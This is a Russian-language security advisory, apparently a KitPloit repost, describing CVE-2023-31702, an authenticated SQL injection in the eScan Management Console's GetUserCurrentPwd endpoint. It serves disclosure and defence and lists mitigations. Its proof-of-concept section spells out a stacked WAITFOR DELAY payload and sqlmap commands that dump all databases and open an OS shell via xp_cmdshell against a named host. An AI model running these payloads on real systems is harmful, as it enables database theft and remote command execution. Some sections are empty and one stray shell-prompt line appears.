CVE-2023-31702 — SQL-инъекция в консоли управления eScan (с аутентификацией)

Обзор

CVE-2023-31702 — это уязвимость SQL-инъекции с аутентификацией, обнаруженная в MicroWorld Technologies eScan Management Console версии 14.0.1400.2281. Уязвимость существует в конечной точке GetUserCurrentPwd, где параметр UsrId передаётся напрямую в SQL-запрос без надлежащей очистки или параметризации. Аутентифицированный злоумышленник может использовать эту ошибку для выполнения слепой SQL-инъекции на основе времени, извлечения всей серверной базы данных и, в конечном счёте, получения интерактивной OS-оболочки на базовом Microsoft SQL Server — что приводит к полной компрометации системы.

Сведения об уязвимости

Затронутое ПО

Описание уязвимости

Консоль управления eScan предоставляет веб-интерфейс для управления безопасностью конечных точек в сети организации. Функция «Просмотр профиля пользователя» открывает конечную точку в стиле REST:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

Параметр UsrId включается в серверный SQL-запрос без проверки, экранирования или использования параметризованных запросов. Это позволяет аутентифицированному злоумышленнику внедрять произвольные SQL-выражения в запрос, что приводит к:

• Слепой SQL-инъекции на основе времени — использование WAITFOR DELAY для подтверждения эксплуатации.
• Выполнению составных запросов — возможность внедрения многооператорных полезных нагрузок.
• Полному дампу базы данных — извлечению всех таблиц, пользователей, учётных данных и конфиденциальных данных из серверной части SQL Server.
• Выполнению OS-команд — использование хранимой процедуры SQL Server xp_cmdshell (включаемой через sp_configure) для выполнения произвольных команд операционной системы на сервере с привилегиями учётной записи службы SQL Server.

Воздействие

Успешная эксплуатация этой уязвимости позволяет злоумышленнику:

• 🔴 Выполнить полный дамп базы данных SQL Server, включая учётные данные пользователей, конфигурационные данные и конфиденциальную корпоративную информацию.
• 🔴 Получить интерактивную OS-оболочку на Windows-сервере, на котором размещён экземпляр SQL Server.
• 🔴 Выполнять произвольные OS-команды (например, создавать учётные записи бэкдора, выводить данные, перемещаться к внутренним сетевым ресурсам).
• 🔴 Полностью скомпрометировать сервер управления eScan и, возможно, все управляемые им конечные точки.

⚠️ Примечание: Злоумышленник должен сначала получить действительные учётные данные для консоли управления eScan. Однако после аутентификации эксплуатация проста и не требует повышенных привилегий консоли.

Доказательство концепции (PoC)

Шаг 1 — Доступ к уязвимой конечной точке

После аутентификации в консоли управления eScan перейдите по следующему URL-адресу:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Это возвращает данные профиля текущего пользователя, подтверждая доступность конечной точки.

Шаг 2 — Подтверждение SQL-инъекции с помощью полезной нагрузки на основе времени

Внедрите следующую полезную нагрузку с задержкой по времени в параметр UsrId:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Разбор полезной нагрузки:

• ; — завершает исходный SQL-оператор и начинает новый (составной запрос).
• WAITFOR DELAY '0:0:5' — указывает SQL Server приостановиться на 5 секунд перед ответом.
• -- — закомментировывает остаток исходного запроса, чтобы предотвратить синтаксические ошибки.

Если ответ сервера задерживается примерно на 5 секунд, инъекция подтверждена.

Шаг 3 — Дамп баз данных с помощью SQLMap

После подтверждения слепой SQL-инъекции полную базу данных можно извлечь с помощью SQLMap:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Это перечисляет все базы данных, размещённые на серверной части SQL Server.

Шаг 4 — Получение OS-оболочки через SQLMap

SQLMap также может расширить атаку до выполнения команд на уровне ОС, включив и используя xp_cmdshell:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Это устанавливает интерактивную OS-оболочку на хосте SQL Server.

Шаг 5 — Выполнение OS-команд на сервере

С установленной OS-оболочкой на сервере можно выполнять произвольные Windows-команды:

Устранение уязвимости

Настоятельно рекомендуется принять следующие меры для устранения и снижения риска данной уязвимости:

1. Используйте параметризованные запросы / подготовленные выражения — Никогда не конкатенируйте вводимые пользователем данные напрямую в SQL-запросы. Используйте связанные параметры для отделения данных от логики запроса.

2. Проверка и очистка входных данных — Строго проверяйте все параметры, предоставляемые пользователем, на стороне сервера. Для числовых идентификаторов, таких как UsrId, допускайте ввод только целых чисел и отклоняйте любые значения, содержащие специальные символы.

3. Примените исправление от вендора — Обновите eScan Management Console до последней доступной версии. Свяжитесь со службой поддержки MicroWorld Technologies или обратитесь к их уведомлениям о безопасности за последним исправленным выпуском.

4. Минимальные привилегии для учётных записей базы данных — Учётная запись базы данных приложения должна иметь только минимально необходимые разрешения. У неё не должно быть ролей sysadmin или db_owner, а процедура xp_cmdshell должна быть отключена.

5. Отключите xp_cmdshell — Если это явно не требуется, отключите расширенную хранимую процедуру xp_cmdshell на экземпляре SQL Server:

   root@kitploit:~

   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;
   

6. Межсетевой экран уровня приложения (WAF) — Разверните WAF для обнаружения и блокировки типичных шаблонов SQL-инъекций в качестве меры эшелонированной защиты.

Хронология раскрытия

Ссылки

• NVD — CVE-2023-31702 (проверьте актуальный статус публикации на NVD)
• MITRE — CVE-2023-31702 (проверьте актуальный статус публикации на MITRE)
• MicroWorld Technologies eScan
• SQLMap — инструмент автоматизации SQL-инъекций
• OWASP — SQL-инъекция
• CWE-89 — Некорректная нейтрализация специальных элементов, используемых в SQL-команде

Автор

Sahil Ojha — исследователь безопасности

Данная публикация предназначена только для образовательных целей и исследований в области безопасности. Эксплуатация этой уязвимости против систем без явного письменного разрешения незаконна и неэтична.